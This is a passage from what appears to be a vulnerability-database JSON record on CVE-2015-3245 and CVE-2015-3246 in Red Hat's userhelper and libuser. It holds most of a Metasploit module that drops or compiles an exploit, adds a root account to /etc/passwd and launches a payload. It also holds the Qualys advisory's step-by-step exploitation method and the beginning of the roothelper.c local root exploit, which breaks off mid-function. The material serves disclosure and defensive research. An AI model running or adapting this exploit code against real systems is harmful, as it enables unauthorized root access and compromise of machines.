'http://seclists.org/oss-sec/2015/q3/185' ],\r\n [ 'URL', 'https://access.redhat.com/articles/1537873' ]\r\n ],\r\n 'DefaultTarget' => 0))\r\n register_options [\r\n OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),\r\n OptString.new('PASSWORD', [ true, 'Password for the current user', '' ]),\r\n OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])\r\n ]\r\n end\r\n\r\n def base_dir\r\n datastore['WritableDir'].to_s\r\n end\r\n\r\n def password\r\n datastore['PASSWORD'].to_s\r\n end\r\n\r\n def upload(path, data)\r\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\r\n rm_f path\r\n write_file path, data\r\n register_file_for_cleanup path\r\n end\r\n\r\n def upload_and_chmodx(path, data)\r\n upload path, data\r\n cmd_exec \"chmod +x '#{path}'\"\r\n end\r\n\r\n def live_compile?\r\n compile = false\r\n\r\n if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')\r\n if has_gcc?\r\n vprint_good 'gcc is installed'\r\n compile = true\r\n else\r\n unless datastore['COMPILE'].eql? 'Auto'\r\n fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'\r\n end\r\n end\r\n end\r\n\r\n compile\r\n end\r\n\r\n def check\r\n userhelper_path = '/usr/sbin/userhelper'\r\n unless setuid? userhelper_path\r\n vprint_error \"#{userhelper_path} is not setuid\"\r\n return CheckCode::Safe\r\n end\r\n vprint_good \"#{userhelper_path} is setuid\"\r\n\r\n unless command_exists? 'script'\r\n vprint_error \"script is not installed. Exploitation will fail.\"\r\n return CheckCode::Safe\r\n end\r\n vprint_good 'script is installed'\r\n\r\n if cmd_exec('lsattr /etc/passwd').include? 'i'\r\n vprint_error 'File /etc/passwd is immutable'\r\n return CheckCode::Safe\r\n end\r\n vprint_good 'File /etc/passwd is not immutable'\r\n\r\n glibc_banner = cmd_exec 'ldd --version'\r\n glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\\s+\\(.*\\)\\s+([\\d\\.]+)/).flatten.first\r\n if glibc_version.to_s.eql? ''\r\n vprint_error 'Could not determine the GNU C library version'\r\n return CheckCode::Detected\r\n end\r\n\r\n # roothelper.c requires functions only available since glibc 2.6+\r\n if glibc_version < Gem::Version.new('2.6')\r\n vprint_error \"GNU C Library version #{glibc_version} is not supported\"\r\n return CheckCode::Safe\r\n end\r\n vprint_good \"GNU C Library version #{glibc_version} is supported\"\r\n\r\n CheckCode::Detected\r\n end\r\n\r\n def exploit\r\n if check == CheckCode::Safe\r\n fail_with Failure::NotVulnerable, 'Target is not vulnerable'\r\n end\r\n\r\n if is_root?\r\n fail_with Failure::BadConfig, 'Session already has root privileges'\r\n end\r\n\r\n unless cmd_exec(\"test -w '#{base_dir}' && echo true\").include? 'true'\r\n fail_with Failure::BadConfig, \"#{base_dir} is not writable\"\r\n end\r\n\r\n executable_name = \".#{rand_text_alphanumeric rand(5..10)}\"\r\n executable_path = \"#{base_dir}/#{executable_name}\"\r\n\r\n if live_compile?\r\n vprint_status 'Live compiling exploit on system...'\r\n\r\n # Upload Qualys' roothelper.c exploit:\r\n # - https://www.exploit-db.com/exploits/37706/\r\n path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper.c'\r\n fd = ::File.open path, 'rb'\r\n c_code = fd.read fd.stat.size\r\n fd.close\r\n upload \"#{executable_path}.c\", c_code\r\n output = cmd_exec \"gcc -o #{executable_path} #{executable_path}.c\"\r\n\r\n unless output.blank?\r\n print_error output\r\n fail_with Failure::Unknown, \"#{executable_path}.c failed to compile\"\r\n end\r\n\r\n cmd_exec \"chmod +x #{executable_path}\"\r\n register_file_for_cleanup executable_path\r\n else\r\n vprint_status 'Dropping pre-compiled exploit on system...'\r\n\r\n # Cross-compiled with:\r\n # - i486-linux-musl-gcc -o roothelper -static -pie roothelper.c\r\n path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper'\r\n fd = ::File.open path, 'rb'\r\n executable_data = fd.read fd.stat.size\r\n fd.close\r\n upload_and_chmodx executable_path, executable_data\r\n end\r\n\r\n # Run roothelper\r\n timeout = 180\r\n print_status \"Launching roothelper exploit (Timeout: #{timeout})...\"\r\n output = cmd_exec \"echo #{password.gsub(/'/, \"\\\\\\\\'\")} | #{executable_path}\", nil, timeout\r\n output.each_line { |line| vprint_status line.chomp }\r\n\r\n if output =~ %r{Creating a backup copy of \"/etc/passwd\" named \"(.*)\"}\r\n register_file_for_cleanup $1\r\n end\r\n\r\n if output =~ /died in parent: .*.c:517: forkstop_userhelper/\r\n fail_with Failure::NoAccess, 'Incorrect password'\r\n end\r\n\r\n @username = nil\r\n\r\n if output =~ /Exploit successful, run \"su ([a-z])\" to become root/\r\n @username = $1\r\n end\r\n\r\n if @username.blank?\r\n fail_with Failure::Unknown, 'Something went wrong'\r\n end\r\n\r\n print_good \"Success! User '#{@username}' added to /etc/passwd\"\r\n\r\n # Upload payload executable\r\n payload_path = \"#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}\"\r\n upload_and_chmodx payload_path, generate_payload_exe\r\n\r\n # Execute payload executable\r\n vprint_status 'Executing payload...'\r\n cmd_exec \"script -c \\\"su - #{@username} -c #{payload_path}\\\" | sh & echo \"\r\n register_file_for_cleanup 'typescript'\r\n end\r\n\r\n #\r\n # Remove new user from /etc/passwd\r\n #\r\n def on_new_session(session)\r\n new_user_removed = false\r\n\r\n if session.type.to_s.eql? 'meterpreter'\r\n session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'\r\n\r\n # Remove new user\r\n session.sys.process.execute '/bin/sh', \"-c \\\"sed -i 's/^#{@username}:.*$//g' /etc/passwd\\\"\"\r\n\r\n # Wait for clean up\r\n Rex.sleep 5\r\n\r\n # Check for new user in /etc/passwd\r\n passwd_contents = session.fs.file.open('/etc/passwd').read.to_s\r\n unless passwd_contents =~ /^#{@username}:/\r\n new_user_removed = true\r\n end\r\n elsif session.type.to_s.eql? 'shell'\r\n # Remove new user\r\n session.shell_command_token \"sed -i 's/^#{@username}:.*$//g' /etc/passwd\"\r\n\r\n # Check for new user in /etc/passwd\r\n passwd_user = session.shell_command_token \"grep '#{@username}:' /etc/passwd\"\r\n unless passwd_user =~ /^#{@username}:/\r\n new_user_removed = true\r\n end\r\n end\r\n\r\n unless new_user_removed\r\n print_warning \"Could not remove user '#{@username}' from /etc/passwd\"\r\n end\r\n rescue => e\r\n print_error \"Error during cleanup: #{e.message}\"\r\n ensure\r\n super\r\n end\r\nend", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/44633/"}], "packetstorm": [{"lastseen": "2016-12-05T22:18:57", "description": "", "published": "2015-07-23T00:00:00", "type": "packetstorm", "title": "Qualys Security Advisory - userhelper / libuser", "bulletinFamily": "exploit", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "modified": "2015-07-23T00:00:00", "id": "PACKETSTORM:132820", "href": "https://packetstormsecurity.com/files/132820/Qualys-Security-Advisory-userhelper-libuser.html", "sourceData": "`Qualys Security Advisory \n \nCVE-2015-3245 userhelper chfn() newline filtering \n \nCVE-2015-3246 libuser passwd file handling \n \n \n--[ Summary ]----------------------------------------------------------------- \n \nThe libuser library implements a standardized interface for manipulating \nand administering user and group accounts, and is installed by default \non Linux distributions derived from Red Hat's codebase. During an \ninternal code audit at Qualys, we discovered multiple libuser-related \nvulnerabilities that allow local users to perform denial-of-service and \nprivilege-escalation attacks. As a proof of concept, we developed an \nunusual local root exploit against one of libuser's applications. \n \n \n----[ Vulnerability #1 (CVE-2015-3245 userhelper chfn() newline filtering) \n \nWe discovered a bug in userhelper, a setuid-root program from the \nusermode package that provides a basic interface to change a user's \npassword, gecos information, and shell; its -f (Full Name), -o (Office), \n-p (Office Phone) and -h (Home Phone) command-line options are \nequivalent to those of the traditional chfn program. \n \nuserhelper's chfn() function verifies that the fields it was given on \nthe command-line are sane (i.e., contain no forbidden characters). \nUnfortunately, these forbidden characters (\":,=\") do not include '\\n' \nand allow local attackers to inject newline characters into /etc/passwd \nand alter this file in unexpected ways. \n \nTo the best of our knowledge, this bug is a local denial-of-service \nonly: we were not able to turn it into a local root exploit, but maybe \nsome creative minds will. \n \nThere is another, secondary aspect of this bug: userhelper depends on \nlibuser to modify /etc/passwd, and libuser's format_generic() and \ngeneric_setpass() functions reject fields containing a ':' that would be \ninterpreted as a field separator. Vulnerability #1 could have been \nprevented if libuser had also rejected '\\n' characters. \n \n \n----[ Vulnerability #2 (CVE-2015-3246 libuser passwd file handling) \n \nWe discovered a bug in libuser itself: even though traditional programs \nlike passwd, chfn, and chsh work on a temporary copy of /etc/passwd and \neventually rename() it, libuser modifies /etc/passwd directly. \nUnfortunately, if anything goes wrong during these modifications, \nlibuser may leave /etc/passwd in an inconsistent state. \n \nThis bug is not just another local denial-of-service: we were able to \nturn it into a local root exploit against userhelper and chfn (if linked \nwith libuser). \n \nThere is also another, secondary aspect of this bug: glibc modules like \nnss and nscd do not expect /etc/passwd to be directly modified while \nthey parse its contents, and programs from packages like shadow-utils \nand util-linux use lckpwdf() locks that are incompatible with libuser's \nfcntl() locks. \n \n \n--[ Exploitation Overview ]--------------------------------------------------- \n \nIn this section, we outline our userhelper exploit against libuser's \nVulnerability #2; later in this advisory, we explain how it can be \neasily adapted to chfn (if linked with libuser). \n \nOur ultimate goal is to inject an arbitrary line into /etc/passwd (for \nexample, the a-line \"\\na::0:0::/:\\n\") but we first need to understand \nhow libuser's generic_mod() function modifies our own user's line in \n/etc/passwd: \n \n- open() /etc/passwd for reading and writing (O_RDWR, but not O_APPEND \nnor O_TRUNC); \n \n- acquire the file's fcntl() write-lock (an exclusive, but advisory \nlock); \n \n- read() the file's contents (into a g_malloc()ated buffer); \n \n- lseek() the file to the beginning of our user's line (and skip the \nunmodified lines that precede); \n \n- write() our user's new, modified line (and the rest of the unmodified \nlines that follow) to the file; \n \n- ftruncate() the file (if our user's new, modified line is shorter than \nthe old one); \n \n- release the file's fcntl() write-lock; \n \n- close() the file. \n \nSurprisingly, we only need two things in our toolbox in order to exploit \nthis function and inject the a-line into /etc/passwd: \n \n- a pencil and eraser that allows us to repeatedly write() and \nre-write() our own GECOS field (its length and last character in \nparticular) in /etc/passwd: the userhelper program itself; \n \n- a pair of scissors that allows us to interrupt write() with byte \nprecision and avoid ftruncate(): the resource limit RLIMIT_FSIZE, \"The \nmaximum size of files that the process may create. Attempts to extend \na file beyond this limit result in delivery of a SIGXFSZ signal. By \ndefault, this signal terminates a process, but a process can catch \nthis signal instead, in which case the relevant system call (e.g., \nwrite(2), truncate(2)) fails with the error EFBIG.\" \n \nFor each character in the a-line (beginning with its last character and \nending with its first character), we fork() a new process and execve() \nuserhelper with: \n \n- a GECOS field that allows us to write() the character to its target \noffset in /etc/passwd; \n \n- an RLIMIT_FSIZE that allows us to terminate the process before it \nwrite()s or ftruncate()s the characters that follow. \n \nIn this example, the newline character '\\n' is represented by |, and the \nlast character written (before write() is interrupted by RLIMIT_FSIZE) \nis marked with ^: \n \n...|...|user:x:1000:1000::/home/user:/bin/bash|...|...| \n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAA:/home/user:/bin/bash|...|...| \n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAA:/home/user:|...|...| \n^ \n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/home/:|...|...| \n^ \n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/:|...|...| \n^ \n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA::/:|...|...| \n^ \n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0::/:|...|...| \n^ \n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:0::/:|...|...| \n^ \n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0:0::/:|...|...| \n^ \n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:0:0::/:|...|...| \n^ \n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA::0:0::/:|...|...| \n^ \n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa::0:0::/:|...|...| \n^ \n...|...|user:x:1000:1000:AAAAAAAA:/home/user:/bin/bash|a::0:0::/:|...|...| \n^ \n...|...|user:x:1000:1000::/home/user:/bin/bash|a::0:0::/:|...|...| \n \n \n--[ Exploitation Details ]---------------------------------------------------- \n \nIn this section, we discuss the problems we encountered while developing \nour userhelper exploit, and how we solved them. \n \n \n----[ Problem #1 (missing fields) \n \nAt the end of our \"Exploitation Overview\" example, our home-directory \nand shell-program fields seem to magically reappear in /etc/passwd, \nalthough they were previously cut out by RLIMIT_FSIZE. \n \nThis magic trick introduces Problem #1: we cannot simply fork() a new \nprocess for each character in the a-line, execve() userhelper, and let \nit run until the character is written to its target offset in \n/etc/passwd, because libuser refuses to modify our user's line if some \nof its fields are missing. \n \nIn order to solve this Problem #1, we fork() a new process for each \ncharacter in the a-line, execve() userhelper, and let it load our user's \noriginal, uncut line from /etc/passwd, but we SIGSTOP the process before \nit open()s /etc/passwd for writing. Only after we have started and \nstopped all userhelper processes can we safely SIGCONT them, one at a \ntime. \n \n \n----[ Problem #2 (backup file) \n \nBefore libuser open()s /etc/passwd for writing, it creates a backup file \nnamed /etc/passwd- and if this backup fails, libuser refuses to modify \n/etc/passwd. Unfortunately, our RLIMIT_FSIZE also applies to the backup, \nwhich will fail if the RLIMIT_FSIZE is less than the size of \n/etc/passwd. \n \nThis introduces Problem #2: in apparent contradiction to what we just \nsaid, our exploit needs to decrease RLIMIT_FSIZE after each character it \ninjects into /etc/passwd (as shown in the \"Exploitation Overview\" \nexample). \n \nIn order to solve this Problem #2, we refine Problem #1's \nSIGSTOP/SIGCONT solution: we let each userhelper process load our user's \noriginal, uncut line from /etc/passwd, and SIGSTOP the process after it \ncreates the backup file but before it modifies /etc/passwd. In other \nwords, we have to win a race against generic_mod()'s system calls, which \ncreate the backup file and modify /etc/passwd: \n \n- open() the passwd file /etc/passwd for reading; \n- acquire the passwd file's fcntl() read-lock; \n \n- open() the backup file /etc/passwd- for writing; \n- acquire the backup file's fcntl() write-lock; \n \n- read() from the passwd file; \n- write() to the backup file; \n- ftruncate() the backup file; \n \n- release the backup file's fcntl() write-lock; \n- close() the backup file; \n \n- release the passwd file's fcntl() read-lock; \n- close() the passwd file; \n \n- open() /etc/passwd for reading and writing; \n[RACE WINDOW BEGINS] \n- acquire the file's fcntl() write-lock: failure, sleep for a few microseconds; \n- acquire the file's fcntl() write-lock: failure, sleep for a few microseconds; \n- acquire the file's fcntl() write-lock: failure, sleep for a few microseconds; \n[RACE WINDOW ENDS] \n- acquire the file's fcntl() write-lock: success; \n- read() the file's contents; \n- etc. \n \nIn order to reliably win this race against all userhelper processes (one \nfor each character in the a-line), we: \n \n- widen the race window. We acquire a read-lock on /etc/passwd before we \nexecve() userhelper, which prevents libuser from acquiring the \nwrite-lock on /etc/passwd, and forces it to sleep for a few \nmicroseconds (LU_LOCK_TIMEOUT is 2, LU_MAX_LOCK_ATTEMPTS is 6). \n \n- pinpoint the race window. We monitor the filesystem for the following \nsequence of inotify events: \n \n. IN_CREATE on /etc if the backup file does not exist; \n. IN_CLOSE_WRITE on the backup file; \n. IN_CLOSE_NOWRITE on the passwd file; \n. IN_OPEN on the passwd file. \n \n- preempt the userhelper processes. We setpriority() them to the lowest \npriority, sched_setscheduler() them to SCHED_IDLE, and \nsched_setaffinity() them to the same CPU as our exploit. \n \n \n----[ Problem #3 (last user) \n \nIf our user's line is the last one in /etc/passwd, then the last \ncharacter we inject into the file (the '\\n' that ends our user's line \nand begins the a-line) is also the very last character of write()'s \nbuffer, which introduces Problem #3: this last write() will not exceed \nour RLIMIT_FSIZE, and the consequent ftruncate() will delete the a-line \nfrom the end of /etc/passwd. \n \nIn order to solve this Problem #3: \n \n- either we SIGKILL the last userhelper process after write() but before \nftruncate(). We reliably win this race with an IN_MODIFY event on \n/etc/passwd and the \"same CPU, different priorities\" preemption of \nuserhelper. \n \n- or we exploit Vulnerability #1 and inject a '\\n' into our own GECOS \nfield. As far as libuser is concerned, this '\\n' ends our user's line \nand begins a new one (with our leftover home-directory and \nshell-program fields): our user's line is no longer the last one in \n/etc/passwd. \n \n \n----[ Problem #4 (maximum GECOS_LENGTH) \n \nAs shown in our \"Exploitation Overview\" example, we only have two \noptions for arbitrary character injection into /etc/passwd: \n \n- either we use a character that we artificially inject through our own \nGECOS field (not an option for characters like ':' and '\\n'); \n \n- or we reuse a character that is naturally present in /etc/passwd (our \nonly option for characters like ':' and '\\n'). \n \nUnfortunately, both of these options might fail to inject a character \nafter the end of /etc/passwd (a consequence of Problem #2): \n \n- if our own GECOS field is too far away from the end of /etc/passwd \n(farther than userhelper's maximum GECOS_LENGTH, 127 characters); \n \n- if the character is not already one of the last GECOS_LENGTH \ncharacters in /etc/passwd. \n \nIf faced with both of these problems, we solve the first one (and \nProblem #4) by repeatedly deleting lines from the end of /etc/passwd, \nuntil our own user's line is the last one in the file: we enlarge our \nown GECOS field, delete characters from the end of /etc/passwd with our \nRLIMIT_FSIZE scissors, shrink our GECOS field again, repeat. \n \n \n----[ Problem #5 (time complexity) \n \nFor each character in the a-line, we usually have to choose one of \nseveral (GECOS, RLIMIT_FSIZE) pairs that allow us to write the character \nto its target offset in /etc/passwd. \n \nThese pairs represent the nodes of a search tree that grows \nexponentially (with the number of characters in the a-line) but may \ncontain few or no solutions. In order to avoid this tree's worst-case \ntime complexity, we: \n \n- inject the shortest a-line possible, \"\\na::0:0::/:\\n\"; \n \n- perform a recursive depth-first search on the tree, and return the \nfirst solution we find (instead of, for example, the solution that \nminimizes /etc/passwd's alterations); \n \n- replace the a-line's username with a wildcard, and accept any \nlowercase character that is not already a username (the a-line's \nusername was a major problem, because it is the last character we \ninject, and therefore occurs deep down the tree's branches; the \na-line's '0' characters are only a minor problem, because they occur \nin the middle of the tree's branches, whence we can backtrack \nquickly). \n \n \n----[ chfn \n \nutil-linux's chfn from Red Hat's codebase is linked with libuser, and \ncan be exploited by our public roothelper.c with just a few changes \n(left as an exercise for the interested reader): \n \n- userhelper uses a simple Userhelper/Consolehelper request/response \nprotocol in order to prompt for and read the user's password, but chfn \nuses traditional terminal interaction; \n \n- if our user's line is the last one in /etc/passwd, we can exploit \nVulnerability #1 against userhelper, but we have to win Problem #3's \nwrite/ftruncate race against chfn; \n \n- userhelper returns 0/255 on success/failure, but chfn returns 0/1. \n \n \n--[ Acknowledgments ]--------------------------------------------------------- \n \nWe would like to thank Red Hat's Security Response Team and developers \nfor promptly addressing these issues. \n \n \n \n------ roothelper.c exploit ------ \n/* \n* roothelper.c - an unusual local root exploit against: \n* CVE-2015-3245 userhelper chfn() newline filtering \n* CVE-2015-3246 libuser passwd file handling \n* Copyright (C) 2015 Qualys, Inc. \n* \n* gecos_* types and functions inspired by userhelper.c \n* Copyright (C) 1997-2003, 2007, 2008 Red Hat, Inc. \n* \n* UH_* #defines and comments inspired by userhelper.h \n* Copyright (C) 1997-2001, 2007 Red Hat, Inc. \n* \n* This program is free software: you can redistribute it and/or modify \n* it under the terms of the GNU General Public License as published by \n* the Free Software Foundation, either version 3 of the License, or \n* (at your option) any later version. \n* \n* This program is distributed in the hope that it will be useful, \n* but WITHOUT ANY WARRANTY; without even the implied warranty of \n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \n* GNU General Public License for more details. \n* \n* You should have received a copy of the GNU General Public License \n* along with this program. If not, see <http://www.gnu.org/licenses/>. \n*/ \n \n#define _GNU_SOURCE \n#include <ctype.h> \n#include <errno.h> \n#include <fcntl.h> \n#include <inttypes.h> \n#include <limits.h> \n#include <pwd.h> \n#include <sched.h> \n#include <signal.h> \n#include <stdarg.h> \n#include <stdbool.h> \n#include <stdio.h> \n#include <stdlib.h> \n#include <string.h> \n#include <sys/inotify.h> \n#include <sys/resource.h> \n#include <sys/socket.h> \n#include <sys/stat.h> \n#include <sys/time.h> \n#include <sys/types.h> \n#include <sys/wait.h> \n#include <unistd.h> \n \n/* A maximum GECOS field length. There's no hard limit, so we guess. */ \n#define GECOS_LENGTH 127 \n \ntypedef char gecos_field[GECOS_LENGTH]; \n \n/* A structure to hold broken-out GECOS data. The number and names of the \n* fields are dictated entirely by the flavor of finger we use. Seriously. */ \nstruct gecos_data { \ngecos_field full_name; /* full user name */ \ngecos_field office; /* office */ \ngecos_field office_phone; /* office phone */ \ngecos_field home_phone; /* home phone */ \ngecos_field site_info; /* other stuff */ \n}; \n \nstatic struct userhelper { \nstruct gecos_data gecos; \nrlim_t fsizelim; \npid_t pid; \nint fd; \n} userhelpers[GECOS_LENGTH]; \n \nstatic void \ndie_in_parent(const char *const file, const unsigned int line, \nconst char *const function) \n{ \nfprintf(stderr, \"died in parent: %s:%u: %s\\n\", file, line, function); \nfflush(stderr); \n \nunsigned int i; \nfor (i = 0; i < GECOS_LENGTH; i++) { \nconst pid_t pid = userhelpers[i].pid; \nif (pid <= 0) continue; \nkill(pid, SIGKILL); \n} \n_exit(EXIT_FAILURE); \n} \n \nstatic void \ndie_in_child(const char *const file, const unsigned int line, \nconst char *const function) \n{ \nfprintf(stderr, \"died in child: %s:%u: %s\\n\", file, line, function); \nexit(EXIT_FAILURE); \n} \n \nstatic void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent; \n#define die() die_fn(__FILE__, __LINE__, __func__) \n \nstatic void * \nxmalloc(const size_t size) \n{ \nif (size <= 0) die(); \nif (size >= INT_MAX) die(); \nvoid *const ptr = malloc(size); \nif (ptr == NULL) die(); \nreturn ptr; \n} \n \nstatic void * \nxrealloc(void *const old, const size_t size) \n{ \nif (size <= 0) die(); \nif (size >= INT_MAX) die(); \nvoid *const new = realloc(old, size); \nif (new == NULL) die(); \nreturn new; \n} \n \nstatic char * \nxstrndup(const char *const old, const size_t len) \n{ \nif (old == NULL) die(); \nif (len >= INT_MAX) die(); \n \nchar *const new = strndup(old, len); \n \nif (new == NULL) die(); \nif (len != strlen(new)) die(); \nreturn new; \n} \n \nstatic int \nxsnprintf(char *const str, const size_t size, const char *const format, ...) \n{ \nif (str == NULL) die(); \nif (size <= 0) die(); \nif (size >= INT_MAX) die(); \nif (format == NULL) die(); \n \nva_list ap; \nva_start(ap, format); \nconst int len = vsnprintf(str, size, format, ap); \nva_end(ap); \n \nif (len < 0) die(); \nif ((unsigned int)len >= size) die(); \nif ((unsigned int)len != strlen(str)) die(); \nreturn len; \n} \n \nstatic int \nxopen(const char *const pathname, const int flags) \n{ \nif (pathname == NULL) die(); \nif (*pathname != '/') die(); \nif (flags != O_RDONLY) die(); \n \nconst int fd = open(pathname, flags); \nif (fd <= -1) die(); \n \nstatic const struct flock rdlock = { \n.l_type = F_RDLCK, \n.l_whence = SEEK_SET, \n.l_start = 0, \n.l_len = 0 \n}; \nif (fcntl(fd, F_SETLK, &rdlock) != 0) die(); \nreturn fd; \n} \n \nstatic void \nxclose(const int fd) \n{ \nif (fd <= -1) die(); \nstatic const struct flock unlock = { \n.l_type = F_UNLCK, \n.l_whence = SEEK_SET, \n.l_start = 0, \n.l_len = 0 \n}; \nif (fcntl(fd, F_SETLK, &unlock) != 0) die(); \nif (close(fd) != 0) die(); \n} \n \n#define GECOS_BADCHARS \":,=\\n\" \n \n/* A simple function to compute the size of a gecos string containing the \n* data we have. */ \nstatic size_t \ngecos_size(const struct gecos_data *const parsed) \n{ \nif (parsed == NULL) die(); \n \nsize_t len = 4; /* commas! */ \nlen += strlen(parsed->full_name); \nlen += strlen(parsed->office); \nlen += strlen(parsed->office_phone); \nlen += strlen(parsed->home_phone); \nlen += strlen(parsed->site_info); \nlen++; \nreturn len; \n} \n \n/* Parse the passed-in GECOS string and set PARSED to its broken-down contents. \nNote that the parsing is performed using the convention obeyed by BSDish \nfinger(1) under Linux. */ \nstatic void \ngecos_parse(const char *const gecos, struct gecos_data *const parsed) \n{ \nif (gecos == NULL) die(); \nif (strlen(gecos) >= INT_MAX) die(); \n \nif (parsed == NULL) die(); \nmemset(parsed, 0, sizeof(*parsed)); \n \nunsigned int i; \nconst char *field = gecos; \n \nfor (i = 0; ; i++) { \nconst char *field_end = strchrnul(field, ','); \ngecos_field *dest = NULL; \n \nswitch (i) { \ncase 0: \ndest = &parsed->full_name; \nbreak; \ncase 1: \ndest = &parsed->office; \nbreak; \ncase 2: \ndest = &parsed->office_phone; \nbreak; \ncase 3: \ndest = &parsed->home_phone; \nbreak; \ncase 4: \nfield_end = rawmemchr(field_end, '\\0'); \ndest = &parsed->site_info; \nbreak; \ndefault: \ndie(); \n} \nconst size_t field_len = field_end - field; \nxsnprintf(*dest, sizeof(*dest), \"%.*s\", (int)field_len, field); \nif (strlen(*dest) != field_len) die(); \n \nif (strpbrk(*dest, GECOS_BADCHARS) != NULL && i != 4) die(); \n \nif (*field_end == '\\0') break; \nfield = field_end + 1; \n} \nif (gecos_size(parsed) > GECOS_LENGTH) die(); \n} \n \n/* Assemble a new gecos string. */ \nstatic const char * \ngecos_assemble(const struct gecos_data *const parsed) \n{ \nstatic char ret[GECOS_LENGTH]; \nsize_t i; \n \nif (parsed == NULL) die(); \n/* Construct the basic version of the string. */ \nxsnprintf(ret, sizeof(ret), \"%s,%s,%s,%s,%s\", \nparsed->full_name, \nparsed->office, \nparsed->office_phone, \nparsed->home_phone, \nparsed->site_info); \n/* Strip off terminal commas. */ \ni = strlen(ret); \nwhile ((i > 0) && (ret[i - 1] == ',')) { \nret[i - 1] = '\\0'; \ni--; \n} \nreturn ret; \n} \n \n/* Descriptors used to communicate between userhelper and consolhelper. */ \n#define UH_INFILENO 3 \n#define UH_OUTFILENO 4 \n \n/* Userhelper request format: \nrequest code as a single character, \nrequest data size as UH_REQUEST_SIZE_DIGITS decimal digits \nrequest data \n'\\n' */ \n#define UH_REQUEST_SIZE_DIGITS 8 \n \n/* Synchronization point code. */ \n#define UH_SYNC_POINT 32 \n \n/* Valid userhelper request codes. */ \n#define UH_ECHO_ON_PROMPT 34 \n#define UH_ECHO_OFF_PROMPT 35 \n#define UH_EXPECT_RESP 39 \n#define UH_SERVICE_NAME 40 \n#define UH_USER 42 \n \n/* Consolehelper response format: \nresponse code as a single character, \nresponse data \n'\\n' */ \n \n/* Consolehelper response codes. */ \n#define UH_TEXT 33 \n \n/* Valid userhelper error codes. */ \n#define ERR_UNK_ERROR 255 /* unknown error */ \n \n/* Paths, flag names, and other stuff. */ \n#define UH_PATH \"/usr/sbin/userhelper\" \n#define UH_FULLNAME_OPT \"-f\" \n#define UH_OFFICE_OPT \"-o\" \n#define UH_OFFICEPHONE_OPT \"-p\" \n#define UH_HOMEPHONE_OPT \"-h\" \n \nstatic char \nread_request(const int fd, char *const data, const size_t size) \n{ \nif (fd <= -1) die(); \nif (data == NULL) die(); \nif (size >= INT_MAX) die(); \n \nchar header[1 + UH_REQUEST_SIZE_DIGITS + 1]; \nif (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die(); \nheader[sizeof(header)-1] = '\\0'; \n \nerrno = 0; \nchar *endptr = NULL; \nconst unsigned long len = strtoul(&header[1], &endptr, 10); \nif (errno != 0 || endptr != &header[sizeof(header)-1]) die(); \n \nif (len >= size) die(); \nif (read(fd, data, len+1) != (ssize_t)(len+1)) die(); \nif (data[len] != '\\n') die(); \ndata[len] = '\\0'; \n \nif (strlen(data) != len) die(); \nif (strchr(data, '\\n') != NULL) die(); \nreturn header[0]; \n} \n \nstatic void \nsend_reply(const int fd, const unsigned char type, const char *const data) \n{ \nif (fd <= -1) die(); \nif (!isascii(type)) die(); \nif (!isprint(type)) die(); \nif (data == NULL) die(); \nif (strpbrk(data, \"\\r\\n\") != NULL) die(); \n \nchar buf[BUFSIZ]; \nconst int len = xsnprintf(buf, sizeof(buf), \"%c%s\\n\", (int)type, data); \nif (send(fd, buf, len, MSG_NOSIGNAL) != len) die(); \n} \n \n#define ETCDIR \"/etc\" \n#define PASSWD \"/etc/passwd\" \n#define BACKUP \"/etc/passwd-\" \n \nstatic struct { \nchar username[64]; \nchar password[64]; \nstruct gecos_data gecos; \n} my; \n \nstatic volatile sig_atomic_t is_child_dead; \n \nstatic void \nsigchild_handler(const int signum __attribute__ ((__unused__))) \n{ \nis_child_dead = true; \n} \n \nstatic int \nwait_for_userhelper(struct userhelper *const uh, const int options) \n{ \nif (uh == NULL) die(); \nif (uh->pid <= 0) die(); \nif ((options & ~(WUNTRACED | WCONTINUED)) != 0) die(); \n \nint status; \nfor (;;) { \nconst pid_t pid = waitpid(uh->pid, &status, options); \nif (pid == uh->pid) break; \nif (pid > 0) _exit(255); \n \nif (pid != -1) die(); \nif (errno != EINTR) die(); \n} \nif (WIFEXITED(status) || WIFSIGNALED(status)) uh->pid = -1; \nreturn status; \n} \n \nstatic void \nforkstop_userhelper(struct userhelper *const uh) \n{ \nif (uh == NULL) die(); \nif (uh->pid != 0) die(); \nif (gecos_size(&uh->gecos) > GECOS_LENGTH) die(); \n \nstruct rlimit fsize; \nif (getrlimit(RLIMIT_FSIZE, &fsize) != 0) die(); \nif (uh->fsizelim > fsize.rlim_max) die(); \nif (uh->fsizelim <= 0) die(); \nfsize.rlim_cur = uh->fsizelim; \n \ncpu_set_t old_cpus; \nCPU_ZERO(&old_cpus); \nif 